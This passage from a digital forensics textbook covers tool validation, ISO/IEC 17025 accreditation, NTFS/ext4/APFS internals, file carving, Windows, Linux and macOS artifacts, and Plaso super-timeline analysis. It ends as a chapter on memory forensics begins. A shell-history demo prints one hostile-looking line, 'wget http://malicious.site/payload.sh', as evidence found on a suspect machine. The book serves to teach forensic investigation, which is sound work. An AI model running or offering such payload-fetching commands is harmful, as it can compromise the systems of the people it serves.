The final and most important part of a forensic lab is trust. The results from an analyst are presented as expert evidence in court. This evidence is only accepted if the tools and methods used are accurate and reliable. This section addresses the fundamental question: "How do you, the court, and the jury know that your tools work correctly?"

7.4.1 The Requirement for Tool Validation

In science, results must be repeatable and verifiable. In the legal system, evidence must be reliable. These two ideas come together in digital forensics.

Scientific and Legal Foundations

For digital evidence to be allowed in court, the methods and tools used to analyze it must be based on good science. In the United States, this rule comes from important court cases like *Daubert* and *Frye*. These cases require judges to act as gatekeepers. It is their job to keep unreliable science, sometimes called "junk science," out of the court [94]. To follow this rule, an organization must be able to prove that its forensic tools work correctly. This is done through the formal processes of validation and verification.

- **Validation:** This is the process of testing a tool or method to confirm that it produces accurate and repeatable results for a specific job. For example, does a tool that recovers deleted files correctly find and restore JPEG files?
- **Verification:** This is the process of checking that a specific version of a tool is working correctly on your own computers before you use it for a case. This can be as simple as checking the tool's hash value to make sure the program has not been changed or damaged.

The Computer Forensics Tool Testing (CFTT) program from NIST provides guidelines and reports that labs can use to help with their own validation work [77].

Real-World Story: The Cost of a Tool Bug., In a famous case from the early years of forensics, a popular forensic tool had a software bug. The bug caused the tool to read file timestamps incorrectly. It made a mistake in calculating the time zone, so all the times were wrong by several hours. In one investigation, this error made an innocent employee the main suspect in a data theft case. The tool's timeline showed that the person's account accessed the stolen files late at night, after work hours. Later, another analyst repeated the investigation using a different tool that had been correctly validated. This second analysis showed the correct timeline and proved that the person was innocent. This case taught a powerful lesson about why strict tool validation is so important.

7.4.2 The Validation Process

Tool validation is not just running a tool to see if the results look correct. It is a formal, scientific process, and every step must be documented.

Creating and Using Test Datasets

The main part of validation is testing a tool with a set of data where you already know what the correct results are. An analyst creates a special test dataset, often called a *ground truth* dataset. For example, this could be a disk image that contains a specific set of active files, deleted files, certain keywords, and encrypted files. Because the analyst created the dataset, they know exactly what the tool *should* find.

The following steps describe a generic tool validation test.

Step 1: Define Requirements: Clearly describe the specific function you are testing. For example: "Tool X version 2.1 must be able to find and recover deleted JPG files from a disk formatted with the NTFS filesystem."

Step 2: Create Test Data: Create a new disk image. Format it with the NTFS filesystem. Add several JPG files. Delete some of the files. Write down the exact names, sizes, and hashes of all files, including the ones you deleted.

Step 3: Establish a Baseline: Calculate and record the SHA-256 hash of the complete test disk image. This ensures that the test data is known and can be verified later.

Step 4: Execute the Test: Run the forensic tool on the test image. Use the specific function you are testing (for example, run the tool's module for recovering deleted files).

Step 5: Analyze the Output: Carefully compare the tool's results to your original notes about the test data. Did the tool find all the deleted JPGs? Did it recover them correctly? Did it incorrectly identify other data as a JPG (this is called a *false positive*)?

Step 6: Verify Integrity: If the tool had the ability to write to the test image (which it should not do in a correct forensic process), calculate the hash of the test image again. This confirms that the tool did not change the source data.

Step 7: Document Everything: Write a formal validation report. The report must include the tool's name and version, the steps you took, the details of the test data, the results you expected, the results you actually got, and an explanation of any differences. This report becomes a permanent record for the lab.

7.4.3 SOPs and Lab Accreditation

Validation and documentation are made official through Standard Operating Procedures and, finally, through external accreditation.

Standard Operating Procedures (SOPs)

Standard Operating Procedures (SOPs) are detailed, written instructions that explain exactly how to do common tasks in the lab. A lab will have SOPs for everything from receiving evidence (as detailed in Section 7.1.2) to imaging a SATA hard drive, analyzing a Windows machine, or writing a final report. SOPs make sure that all analysts do their work in the same, repeatable, and validated way. This improves the quality of the work and makes it easier to defend in court.

Formal Lab Accreditation

The best way to show that a forensic lab is trustworthy is to get formal accreditation from an outside, independent organization. The international standard for testing and calibration laboratories is **ISO/IEC 17025** [83]. Getting this accreditation means that the lab's quality system, the skill of its staff, its procedures (SOPs), and its tool validation records have been carefully checked by auditors. It proves that the lab meets international standards. Accreditation provides the courts, clients, and the public with the highest possible level of confidence in the lab's findings.

Conclusion

In this chapter, we learned that a reliable forensic lab needs three key things: physical security, the right hardware and software, and strong, documented procedures. An investigator uses these rules to protect evidence from damage and to produce results that are trusted in court. Now that we understand the proper environment for an investigation, the next chapter will cover the first critical task: how to correctly acquire digital evidence from a device.

Acronyms and Terminology

Air-gap A security measure where a network or computer is physically isolated, having no connection to the internet or other networks, to prevent unauthorized access or data leakage.

Artifacts Pieces of data created by a computer or user's activity, such as web browser history, chat messages, or system log entries, that serve as evidence.

Autopsy A popular free, open-source digital forensics platform with a graphical user interface that makes it easier to analyze disk images and file systems.

Biometric Scanner A security device that identifies individuals based on unique biological traits, such as fingerprints or eye patterns, to control physical access to a secure area.

Chain of Custody The documented chronological history of evidence, showing its seizure, custody, control, transfer, analysis, and disposition to prove its integrity.

CFTT Computer Forensics Tool Testing: A program by the U.S. National Institute of Standards and Technology (NIST) that provides a framework for validating digital forensic tools.

Clean Agent Fire Suppression System A type of fire extinguisher that uses gas or chemical agents instead of water, preventing damage to sensitive electronic equipment.

Cross-contamination An undesirable event where data from one case accidentally mixes with another, or when malware from an evidence file infects the lab's computers.

Cryptographic Hash A unique digital fingerprint generated from a block of data. It is used to verify that the data (such as an evidence file) has not been altered. Common examples include SHA-256 and MD5.

Dual-boot A computer configuration that allows a user to select and load one of two or more different operating systems at startup.

EXIF Exchangeable Image File Format: Metadata stored within a digital image file that can contain information like the date, time, camera model, and GPS location where the photo was taken.

False Positive An incorrect result where a tool or test mistakenly identifies something that is not actually present, such as flagging a benign file as malicious.

Fault Tolerance The ability of a system, like a RAID storage array, to continue operating without data loss even after one or more of its components have failed.

Firewall A network security system that monitors and controls incoming and outgoing network traffic, acting as a barrier between a trusted internal network and untrusted external networks.

Forensic Image A perfect, bit-for-bit (or sector-by-sector) copy of a storage device, such as a hard drive. Analysis is performed on the image to preserve the original evidence.

Forensic Imager A specialized hardware device designed to create verifiable forensic images from storage media quickly and reliably.

Forensic Suite A single software package that combines a wide range of tools to perform a complete digital investigation, from imaging and analysis to reporting. Examples include EnCase, FTK, and AXIOM.

FTK Forensic Toolkit: A commercial forensic suite known for its powerful data processing, indexing, and analysis capabilities, especially for large datasets.

Ground Truth A test dataset where the contents are precisely known. It is used to test and validate a forensic tool by comparing the tool's output against the known correct results.

Hash Set A list of pre-calculated hash values of known files. These sets are used to quickly identify common system files (to ignore them) or known malicious files.

I/O Input/Output: Refers to the ports and connections on a computer that allow it to communicate with external devices, which is critical for connecting various types of evidence.

Inode A data structure in Unix-style file systems (like Linux) that stores essential information about a file or directory, such as its location, size, and permissions.

Integrity In digital forensics, this refers to the principle that evidence has not been altered or corrupted in any way since it was collected.

ISO/IEC 17025 An international standard that specifies the general requirements for the competence of testing and calibration laboratories. Accreditation to this standard demonstrates a lab's quality and reliability.

log2timeline/Plaso A forensic tool used to extract timestamps from numerous sources on a computer and combine them into a single, chronological "super timeline" to reconstruct events.

Multi-threaded A characteristic of a software application that allows it to execute multiple tasks simultaneously by using several CPU cores, which speeds up processing-intensive tasks.

Network Segmentation The practice of dividing a computer network into smaller, isolated sub-networks to enhance security, control data flow, and prevent cross-contamination.

NSRL National Software Reference Library: A project that creates a reference library of hash values for known, legitimate software and operating system files to help investigators filter out irrelevant data.

RAID Redundant Array of Independent Disks: A storage technology that combines multiple hard drives into one logical unit to improve performance, increase storage capacity, or provide fault tolerance.

RAM Random Access Memory: The computer's temporary working memory. Large amounts are essential for forensic tasks like analyzing memory dumps or running virtual machines.

SIFT SANS Investigative Forensic Toolkit: A free, Linux-based virtual machine pre-loaded with a comprehensive collection of open-source forensic tools for analysis.

SOPs Standard Operating Procedures: Detailed, formal written instructions that describe exactly how to perform specific tasks in a forensic lab to ensure all work is consistent, repeatable, and defensible.

Super Timeline A single, combined chronological list of all time-stamped activities from a computer, created by merging data from system logs, file metadata, browser history, and more.

Tamper-evident A feature of a container or seal that makes any unauthorized attempt to access its contents visibly apparent.

TSK The Sleuth Kit: A library and collection of command-line tools for in-depth, low-level analysis of file systems and disk images.

Validation The formal process of testing a forensic tool or procedure to prove that it is accurate, reliable, and produces repeatable results for its intended purpose.

Verification The act of confirming that a specific copy of a validated tool is working correctly on a local system before being used in an actual case.

Virtual Machine (VM) A software emulation of a physical computer that can run its own operating system and applications. VMs are used in forensics for safe analysis and testing of malware or unfamiliar software.

Virtualization The technology of creating and running virtual machines, allowing multiple isolated operating systems to run on a single physical computer.

Volatile Memory A computer's temporary memory (RAM) that holds data for running processes but is lost when power is turned off. Its contents can be captured in a "RAM dump" for analysis.

Volatility Framework The industry-standard open-source tool for analyzing volatile memory dumps to find evidence of runtime activity, such as running processes, network connections, and malware.

Write-Blocker A hardware or software tool that allows an investigator to read data from a storage device but prevents any data from being written to it, thus preserving the original evidence.

Part 2

Core Forensic Techniques

This part is the main technical section of the book. Here, you will use the basic knowledge you have learned to perform a detailed analysis of the most common sources of digital evidence. Each chapter focuses on a key area in digital forensics: recovering data from file systems, examining live computer memory, analyzing network traffic, and connecting events using log files.

Chapter 8

File System and Operating System Forensics

Introduction

To find evidence in an investigation, you must understand how computers store information. This chapter teaches you how to analyze the file systems and operating systems on storage devices like hard drives. We will look at how common file systems work, how to recover deleted files, and how to find important clues in Windows, Linux, and macOS.

8.1 The Anatomy of a File System

8.1.1 NTFS Internals (Windows)

The New Technology File System (NTFS) is the standard file system for all modern versions of Microsoft Windows. Its design includes important features for both system stability and forensic analysis. These features include journaling for fast recovery after a crash, Access Control Lists (ACLs) for detailed security permissions, and support for very large files and storage volumes [31]. A *file system* is a system an operating system uses to control how data is stored and retrieved.

The Master File Table ($MFT): The Heart of NTFS

At the center of every NTFS volume is a special file called the Master File Table, or $MFT. The $MFT is a database. Every file and directory on the volume has at least one entry, called a record, in the $MFT. Each $MFT record is a group of attributes that describe the file. A Windows forensic examiner must understand these attributes.

- **$STANDARD_INFORMATION**: This attribute has basic metadata about the file. It contains the main set of *MACB timestamps* (Modify, Access, Change, Birth). These timestamps record when a file's content was last changed, last opened, when its MFT record was last changed, and when it was created. This attribute also includes file flags (like hidden or system) and owner information.
- **$FILE_NAME**: This attribute stores the file's name, a reference to the folder it is in, and its own set of MACB timestamps. These timestamps can be different from the timestamps in $STANDARD_INFORMATION. They can remain even after a file is deleted, which makes them very useful for proving a file once existed.
- **$DATA**: This attribute contains the file's actual content. For very small files (usually less than 1KB), the data is stored directly inside the $MFT record. This is called *resident data*. For larger files, the $DATA attribute contains pointers to *clusters*, which are the basic units of storage space on the disk where the file's content is located. This is called *non-resident data*.

Other Critical NTFS Metadata Files

Besides the $MFT, NTFS uses other metadata files that record file system activity.

- **$LogFile**: This is a *journaling file*, which NTFS uses to make sure the file system is consistent. A journaling file records changes before they are actually made. If the system crashes, NTFS can use the operations recorded in the $LogFile to return to a stable state. For forensic analysis, it can contain parts of recent file operations, like file names and metadata changes.
- **$UsnJrnl (Update Sequence Number Journal)**: This journal records all changes to files, streams, and directories on the volume. When a file is created, deleted, renamed, or changed, the system adds an entry to the USN Journal. This artifact is very valuable for tracking file system activity over time in a reliable way.

Practical Demo: Inspecting an $MFT Record, The Sleuth Kit (TSK) is a powerful set of command-line tools for forensic analysis . You can use the `istat` tool to show the details of an $MFT record, including all its attributes and timestamps.

```
# istat -f ntfs <disk_image.E01> <mft_record_number>
MFT Entry Header Values:
Entry: 251   Sequence: 3
...
Attributes:
```

```
Type: $STANDARD_INFO (16)   Name: N/A   Resident   size: 72
...
  Created:        2023-10-27 18:30:05.123456789 Z
  File Modified:  2023-10-27 18:45:10.987654321 Z
  MFT Modified:   2023-10-27 18:45:10.987654321 Z
  Accessed:       2023-10-27 18:45:10.987654321 Z
...
Type: $FILE_NAME (48)   Name: N/A   Resident   size: 90
  Name: secret_document.docx
  Parent MFT Entry: 57   Sequence: 8
  Created:        2023-10-27 18:30:05.123456789 Z
...
Type: $DATA (128)   Name: N/A   Non-Resident   size: 12288
  Allocated Size: 12288   Initial Size: 12288
  Data Runs:
     224-247
```

8.1.2 ext4 and APFS Internals (Linux & macOS)

The Fourth Extended File System (ext4)

The ext4 file system is the default for most modern Linux systems. Its structure is based on ideas that developed over many years of UNIX history.

- **Superblock**: This is the main metadata structure for the whole file system. It is in a known location and contains important information like the total number of blocks and inodes, the block size, and mount details.
- **Inodes**: An *inode* (or index node) is a data structure that stores all metadata for one file or directory, except for its name. This metadata includes permissions, user and group owners, MAC timestamps, file size, and pointers to the data blocks that hold the file's content.
- **Dentries (Directory Entries)**: In ext4, directories are special files that contain a list of directory entries, or dentries. Each dentry connects a human-readable filename to its inode number. Separating the name from the metadata is a key design difference from NTFS.
- **Journal**: Like the NTFS $LogFile, ext4 uses a journal to record changes before they are written to the main file system. This prevents metadata damage if there is a power loss or system crash.

The Apple File System (APFS)

The Apple File System (APFS) was introduced with macOS High Sierra and is now the default file system for all modern Apple devices, including Macs, iPhones, and iPads. It was designed for flash/SSD storage and creates new possibilities and new problems for forensic analysis [8].

- **Containers & Volumes**: A single physical disk is formatted as a *Container*. Inside this container, an investigator can find multiple logical *Volumes* (for example, System, Data, VM). These volumes can flexibly share the total space in the container. This is different from traditional, fixed partitions.
- **Snapshots**: APFS can create read-only, point-in-time copies of a volume almost instantly. These copies are called *snapshots*. People use them for backups (like Time Machine), but they are very valuable for forensics. They can store old versions of files or even deleted files long after they are gone from the live file system.
- **Clones**: APFS allows files to be "cloned" or copied instantly without copying their data. The file system just creates a new metadata record that points to the same data blocks. These files are called *clones*. This makes it harder to analyze if a file is unique and can be confusing when calculating disk usage.

8.1.3 File Recovery Techniques

Metadata-Based Recovery (Undelete)

When a user "deletes" a file in a file system like NTFS or ext4, the data is usually not erased right away. Instead, the file system does two simple things: it marks the file's metadata entry (the $MFT record or inode) as "unused," and it marks the data blocks the file used as "unallocated" in its space map. The actual data stays on the disk until the operating system needs that space for a new file. Forensic tools can scan a disk image for these "unused" metadata entries. If the data blocks have not been overwritten, the tools can "undelete" the file by connecting the metadata to its data again.

Data Carving

What happens when the metadata itself is missing or damaged? In these situations, we use *data carving*. Data carving is a technique for recovering files from the unallocated (or free) space of a drive based only on their internal structure. It does not use any file system metadata.

Algorithmic Breakdown The process is simple but powerful, like searching for a specific type of shell on a beach.

(1) The carving tool is set up with a library of known *file signatures*. A file signature is a unique series of bytes that marks the beginning (header) and sometimes the end (footer) of a specific file type. For example, a JPEG file almost always starts with the hex bytes `FF D8 FF E0`.

(2) The tool reads the disk image in order from beginning to end, checking every byte of the unallocated space.

(3) When it finds a known file header, it records the starting position.

(4) It then continues to read the data until it finds a matching footer signature or reaches a set maximum file size.

(5) The block of data between the header and footer is extracted and saved as a recovered file. An investigator can then try to open and check this file.

Practical Demo: Carving with Foremost, `Foremost` is a classic and effective command-line data carving tool [78]. The following command tells it to scan a disk image and recover all JPEG and PDF files it can find.

```
# foremost -t jpg,pdf -i <disk_image.dd> -o /path/to/recovery_dir
```

8.2 Windows Forensic Artifacts

The Windows operating system creates a lot of data about its own operations and user activities. These digital clues, called artifacts, are very valuable for an investigator trying to reconstruct events.

8.2.1 The Windows Registry: A Goldmine of Evidence

The *Windows Registry* is a central database that stores low-level settings for the operating system and applications. For a forensic examiner, it is one of the most important sources of evidence on a Windows system. The Registry is organized into top-level containers called *Hives*. Hives contain a folder-like structure of *Keys* and *Values*, which store the actual configuration data.

Essential Registry Hives for Forensics

The Registry is very large, but some hives are extremely important for forensics.

- **SYSTEM**: Found at `%SystemRoot%\System32\config\SYSTEM`, this hive contains information about the system's hardware, installed services, and boot settings. The key `ControlSet001`
  `Enum`
  `USBSTOR` is famous for tracking every USB storage device ever connected to the system. It often includes the device's brand, model, and unique serial number.

- **SOFTWARE**: This hive (`%SystemRoot%\System32\config\SOFTWARE`) stores information about installed software, including installation dates and paths. It also has OS-level settings like the registered owner and version details.

- **SAM**: The Security Account Manager hive (`%SystemRoot%\System32\config\SAM`) contains local user account information, group memberships, and the hashed passwords for local users.
- **NTUSER.DAT**: This may be the most valuable hive for analyzing user activity. Each user has their own NTUSER.DAT file in their profile folder (`C:\Users\<username>\NTUSER.DAT`). It loads into the Registry when the user logs on and contains much information about their activities.
    - `Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Tracks recently opened files and documents.
    - `Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`: A list of commands recently typed into the "Run" box.
    - `Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: A list of paths recently typed into the Windows Explorer address bar.

Real-World Story, In a corporate data theft case, investigators analyzed the SYSTEM hive of a suspect's computer. They found an entry in the USBSTOR key for a specific, high-capacity USB drive. The drive had been connected to the computer just moments before a large amount of secret company data was stolen from the network. The timestamp of the connection and the drive's unique serial number clearly connected the USB drive to the suspect's computer at the exact time of the theft.

8.2.2 Evidence of File Access: LNK Files & Jump Lists

Windows automatically creates artifacts that track user access to files and applications.

Windows Shortcut (LNK) Files

A *LNK file* is a shortcut. The operating system often creates one automatically when a user opens a file, not just when a user creates one on purpose. These files, found in places like the Recent folder, contain a lot of useful metadata.

- The original path of the target file, even if the file was moved or deleted.
- Timestamps for when the LNK file was created/changed and when the target file was last changed/opened.
- Volume information of the drive where the target file was, including its serial number and drive type (e.g., fixed disk, removable).
- If the target file was on a network share, the LNK file may store the NetBIOS name and even the MAC address of the host computer.

Jump Lists

Jump Lists were introduced in Windows 7. They improve the taskbar and Start menu by showing lists of recently accessed items for each application. For example, right-clicking the Microsoft Word icon on the taskbar shows a list of recently opened documents. For forensics, these are basically collections of LNK-like data stored in `.automaticDestinations-ms` files. This gives the investigator a powerful way to see which files a user opened with each application [106].

8.2.3 Evidence of Program Execution

Proving that a specific program ran on a system is a common need in investigations, especially in malware analysis.

Prefetch Files (`.pf`)

Prefetch is a feature in Windows that helps applications load faster. When an application runs for the first time, Windows creates a Prefetch file (`.pf`) in `%SystemRoot%\Prefetch`. This file lists the files and resources the application loaded. Windows uses this list to "pre-fetch" them into memory on future launches. For an investigator, the existence of a file like `EVIL.EXE-ABCDEF12.pf` is strong evidence that `evil.exe` was run. The file's metadata also contains a count of how many times the program has run and, most importantly, the timestamp of its last execution.

Shimcache (Amcache)

The *Shimcache*, also known as the Application Compatibility Cache, is a part of Windows designed to solve compatibility problems with applications. In modern Windows, it is part of the Amcache.hve database. To do its job, it keeps a database that tracks executable files that have run on the system. Analyzing this artifact can show an executable's full file path, its file size, and its last modification time. It is another strong source for proving program execution and often keeps entries for a longer time than Prefetch.

8.2.4 Browser and Web Forensics

A user's web browser gives a view into their online life. Analyzing browser artifacts can show what sites they visited, what searches they made, what files they downloaded, and what online accounts they used. Most modern browsers (like Chrome, Firefox, and Edge) store their data in a similar way.

- **History**: Usually stored in an SQLite database (e.g., `History` in Chrome, `places.sqlite` in Firefox). The history file contains a table of visited URLs, page titles, visit counts, and exact timestamps for each visit.

- **Cache**: The browser cache stores parts of visited websites—like images, CSS files, and JavaScript files—on the local disk. This makes pages load faster on the next visit. The cache can be used to partially rebuild web pages a user viewed, sometimes even if the history was cleared.
- **Cookies**: These are small text files that websites use to remember information, such as login sessions, site preferences, and advertising tracking IDs.
- **Downloads**: Browsers keep a list of all downloaded files. This list includes the original source URL, the location on the disk where the file was saved, and the start and end times of the download.

8.3 Linux and macOS Forensic Artifacts

Linux and macOS are both based on UNIX, but they have different forensic artifacts that an investigator must know.

8.3.1 Key Linux Artifacts

System Logs in `/var/log`

The `/var/log` directory is the main location for system and application logs on most Linux systems [105].

- `auth.log` (Debian/Ubuntu) or `secure` (RedHat/CentOS): This log records all events related to authentication. This includes user logins (local and through SSH), using the `sudo` command to get higher privileges, and both successful and failed login attempts.
- `syslog` or `messages`: These files are a general log for system programs and services. They record many kinds of informational, warning, and error messages.
- `wtmp` and `btmp`: These are binary files that log successful (`wtmp`) and failed (`btmp`) login attempts. You can read them using the `last` and `lastb` commands.

User Activity

- **Shell History**: For command-line users, the shell history file (like `.bash_history` or `.zsh_history`) in their home directory is a very important artifact. It provides a list of every command they typed in the terminal, showing which programs they ran, scripts they used, and file changes they made.
- **Cron Jobs**: Malware often uses scheduled tasks to remain on a system. These scheduled tasks are called *cron jobs*. Investigators should check system-wide crontabs (`/etc/crontab`) and user-specific cron directories

(`/var/spool/cron/`) for suspicious commands that are scheduled to run at specific times.

Practical Demo: Searching Shell History, You can use the `strings` command to get human-readable text from files. You can then send that text to the `grep` command to search for keywords. This is a fast way to find important commands in a user's history file.

```
# strings /home/user/.bash_history | grep "wget"
wget http://malicious.site/payload.sh
wget -O /tmp/data.zip ftp://fileserver/archive.zip
```

8.3.2 Key macOS Artifacts

macOS forensics requires knowledge of Apple's special logging systems and file formats [65].

Unified Logs

Starting with macOS Sierra, Apple combined almost all system and application logging into a single, efficient Unified Logging system. This system replaced plain-text log files with a compressed binary format. The command-line tool `log` is the main way to search this log data. An investigator can build complex filters to search for specific processes, time ranges, or message types.

```
# log show --predicate 'process == "sshd" and eventType == "error"'
```

Property List (`.plist`) Files

Property List files, or plist files, are used on macOS to store user preferences and application settings. They are similar to Windows Registry keys. They are usually structured as XML or a binary format. You can find them all over the system, especially in the `/Library` and the user's `~/Library/Preferences` directories. They contain information like recently opened documents for an application and user-specific settings.

Spotlight Metadata

The Spotlight search engine keeps a detailed index of file metadata in the hidden `/.Spotlight-V100` directory at the root of the drive. This index can contain extra attributes beyond the standard file system timestamps. The `kMDItemWhereFroms` and `kMDItemDateAdded` attributes are especially important. They can show the URL a file was downloaded from and the date it was added to the system.

Quarantine Events

When a user downloads a file from the internet, macOS adds a *quarantine attribute* to it. This makes the system show a warning when the user first tries to open the file. These quarantine events are logged in a central SQLite database at `~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`. This database clearly links the downloaded file on the disk to its source URL and the application that downloaded it. This provides clear proof of where a file came from [227].

8.4 Building the Narrative: Timeline Analysis

8.4.1 The Power of a Super Timeline

Looking at single artifacts, like a Registry key or a log file, is useful, but you might miss the full story. Forensic analysis becomes truly powerful when you connect these different pieces of evidence. *Timeline analysis* is the process of taking timestamped events from *all* available sources on a system and putting them together into a single, chronological list. These sources include file system MACB times, Registry key last write times, browser history, log entries, and Prefetch execution times. This combined list is called a *super timeline*. A super timeline lets an investigator see cause and effect, understand suspicious activity in context, and reconstruct the complete story of what happened, when it happened, and in what order.

8.4.2 Generating Timelines with Plaso

It is impossible to extract and connect millions of timestamps by hand. For this reason, automated tools are necessary. The best open-source tool for this is *Plaso* (which used to be called log2timeline) [204]. Plaso is an engine with hundreds of special modules called *parsers*. Each parser is designed to understand the structure of a specific forensic artifact—like a Windows Registry hive, a Firefox history database, or a Prefetch file—and to extract every important timestamped event from it.

The Plaso Process

Creating a timeline with Plaso usually involves three steps:

(1) **Collection**: You run the main script, `log2timeline.py`, on a source. The source can be a full disk image, a logical volume, or a directory of collected artifacts.

(2) **Processing**: Plaso scans the source and identifies files it knows. It then uses the correct parser for each file. The parser extracts all events and converts them into a standard format. Each event includes the timestamp, a description, and information about its source.

(3) **Storage**: Plaso writes the huge amount of data, often millions of events from one computer, to a compressed and indexed `.plaso` storage file. This file allows for fast analysis.

Practical Demo: Creating a Plaso Timeline, The following is a basic command to process a Windows disk image and create a Plaso storage file.

```
# log2timeline.py --storage-file timeline.plaso MyWindowsImage.E01
```

8.4.3 Investigating with a Timeline

A raw Plaso storage file is just a database of events. The real investigative work starts when you analyze it. You do this with Plaso's other tool, `psort.py`, which lets an investigator filter, sort, and search the timeline. The main technique is called *pivoting*. An investigator starts with a known piece of information—a suspicious filename, an IP address, or a specific time. They use that information to find a starting event in the timeline. Then, they "pivot" from that event by looking at the events that happened right before and after it to build context and find related activity.

Algorithmic Breakdown: Answering "How was malware executed?" with a timeline Imagine an investigation where a file named `evil.exe` is identified as malware. The goal is to learn how it got on the system and how it was run.

(1) **Identify Indicator**: Analysis of the file system shows the malware file `C:\Users\Bob\Downloads\evil.exe` was created at `2023-10-26 14:30:00`.

(2) **Initial Filter**: The investigator uses `psort.py` to filter the super timeline to a short period around that time, for example, from `2023-10-26 14:25:00` to `14:35:00`.

(3) **Find Connections**: By looking at the filtered results, the investigator discovers a series of related events:

- A browser history event from Chrome shows a download of `evil.exe` from the URL `malicious.site/dl` at `14:29:58`.
- The $MFT file creation time for `C:\Users\Bob\Downloads\evil.exe` is `14:30:00`.
- A Prefetch file creation event for `EVIL.EXE-CDEF4567.pf` is logged at `14:30:15`. This proves the program was run for the first time.
- A Windows Security Event Log entry (ID 4688) for a new process is recorded for `evil.exe` at `14:30:15`.
- A Registry key last write time shows a new value was added to an autorun key. This value pointed to `evil.exe` at `14:30:18`, which shows the malware set itself up to run automatically.

(4) **Construct Narrative**: The timeline changed separate facts into a clear story: "At 14:29:58, the user's browser started a download of `evil.exe`. The file was saved to the Downloads folder at 14:30:00. The user ran it for the first time 15 seconds later. Right after it ran, the malware created a new Registry key to make sure it would run again every time the system starts."

Conclusion

This chapter taught two key skills: analyzing file systems to recover data and examining operating system artifacts to find evidence. An investigator uses these skills to build a complete timeline that shows exactly what happened on a computer. In the next chapter, we will use this knowledge to investigate the data stored in a computer's live memory.

Acronyms and Terminology

ACLs Access Control Lists: Detailed security permissions assigned to files and folders, specifying which users can perform what actions (e.g., read, write, execute).

Amcache A database on modern Windows systems that contains the Shimcache. It stores information about programs that have been run, including their file paths and first execution times.

APFS Apple File System: The modern file system used by default on all Apple devices, including Macs, iPhones, and iPads. It is optimized for solid-state drives (SSD).

Artifact Any piece of digital data that provides evidence of a user's or system's activities. Examples include log files, registry keys, browser history, and Prefetch files.

Clone (APFS) An instant copy of a file that does not duplicate the file's data. Instead, new metadata is created that points to the original data blocks, saving disk space.

Cluster The basic, fixed-size unit of storage space on a disk drive as defined by the file system. A large file is stored across multiple clusters.

Container (APFS) The fundamental storage unit on a physical disk formatted with APFS. A single container can hold multiple flexible volumes that share its space.

Cron Job A task scheduled to run automatically at a specific time or interval on Linux and other UNIX-like systems. Often used by malware for persistence.

Data Carving The process of recovering files from a disk's unallocated (free) space without using file system metadata. It works by searching for known file headers and footers.

Dentry Directory Entry: In Linux file systems like ext4, a structure that links a human-readable filename to its corresponding inode number.

ext4 Fourth Extended File System: The default and most common file system used by modern Linux operating systems.

File Signature A unique sequence of bytes at the beginning (header) or end (footer) of a file that identifies its type, such as a JPEG image or a PDF document.

File System A system that an operating system uses to control how data is stored, organized, and retrieved on a storage device like a hard drive.

Foremost A command-line tool used for data carving to recover files based on their file signatures.

Hive A major section of the Windows Registry, organized like a folder. Hives are stored in separate files on the disk (e.g., SYSTEM, SOFTWARE, NTUSER.DAT).

Inode Index Node: In Linux/UNIX file systems, a data structure that stores all metadata about a file or directory (such as permissions, timestamps, and data block locations), except for its name.

Journaling File A special file used by modern file systems (like NTFS and ext4) to record changes before they are committed. This allows for fast recovery and prevents corruption if the system crashes.

Jump Lists A Windows feature that shows recently opened files or actions for a specific application. Forensically, they provide a timeline of user activity related to that application.

Key (Registry) A container within a Windows Registry Hive that acts like a folder, organizing configuration data and other keys.

LNK File A Windows shortcut file. These files contain valuable metadata about the target file, including its original location, timestamps, and the volume it was stored on.

MACB Timestamps Modify, Access, Change, Birth: A set of four timestamps associated with a file. They record when a file's content was last Modified, last Accessed, when its metadata was last Changed, and when it was Created (Birth).

$MFT Master File Table: The most important file in an NTFS file system. It is a database that contains at least one record for every file and directory on the volume.

Non-resident Data Data belonging to a file that is too large to fit inside the $MFT record and is instead stored in clusters elsewhere on the disk. The $MFT record contains pointers to these clusters.

NTFS New Technology File System: The standard file system used by all modern versions of the Microsoft Windows operating system.

NTUSER.DAT The Registry hive file for an individual user on a Windows system. It contains a wealth of information about that user's specific activities and preferences.

.pf File Prefetch File: A file created by Windows to help speed up application loading. Its existence proves a program was executed, and its metadata contains the program's last run time and a run count.

Pivoting An investigative technique used during timeline analysis where an investigator uses a known piece of information (like a filename or timestamp) to find related events that occurred just before and after it.

Plaso A powerful open-source tool (also known as log2timeline) used to automatically extract timestamps from hundreds of different types of forensic artifacts and combine them into a single super timeline.

plist File Property List File: A file format on macOS used to store application and system settings. It is the macOS equivalent of a Windows Registry key.

Prefetch A memory management feature in Windows that creates special files (`.pf`) to help applications launch faster. These files are a key artifact for proving program execution.

Quarantine Attribute (macOS) An attribute attached to a file downloaded from the internet on a Mac. It triggers a security warning and creates a log entry that links the file to its download URL.

Resident Data Data belonging to a very small file that is stored completely inside the file's $MFT record in an NTFS file system.

RunMRU Most Recently Used list for the "Run" dialog box in Windows, stored in the NTUSER.DAT Registry hive. It shows commands a user recently executed.

SAM Security Account Manager: A Windows Registry hive that stores local user account information, group memberships, and hashed passwords.

Shimcache Application Compatibility Cache: A forensic artifact in Windows that tracks executable files that have been run on the system, providing evidence of program execution.

Snapshot (APFS) A read-only, point-in-time copy of a volume in the APFS file system. Snapshots can contain older or deleted versions of files, making them valuable for forensic analysis.

Super Timeline A single, chronological list of events created by combining timestamped data from all available forensic artifacts on a system. It is used to reconstruct the sequence of events.

TSK The Sleuth Kit: A library and collection of command-line tools that allow for the forensic analysis of disk images and file systems.

Unallocated Space The portion of a storage drive that is not currently allocated to any active files by the file system. Deleted files may still reside in this space until they are overwritten.

Unified Logs (macOS) The centralized logging system on modern macOS, which stores system and application logs in a compressed, binary format.

$UsnJrnl Update Sequence Number Journal: A log in the NTFS file system that records all changes (creations, deletions, modifications) made to files and directories on a volume.

Value (Registry) An entry within a Registry Key that stores the actual configuration data, similar to a file within a folder.

Chapter 9

Foundations and Practice of Memory Forensics

Introduction

Modern cyberattacks often leave no evidence on the hard drive. For a digital investigator, this means the most important clues are in the computer's live memory, or RAM. This chapter teaches you the essential skill of memory forensics. We will explain how to capture a computer's memory correctly and how to use the Volatility framework to find hidden malware, network connections, and user activity.

9.1 Foundations of Memory Forensics

9.1.1 Defining Volatile Data

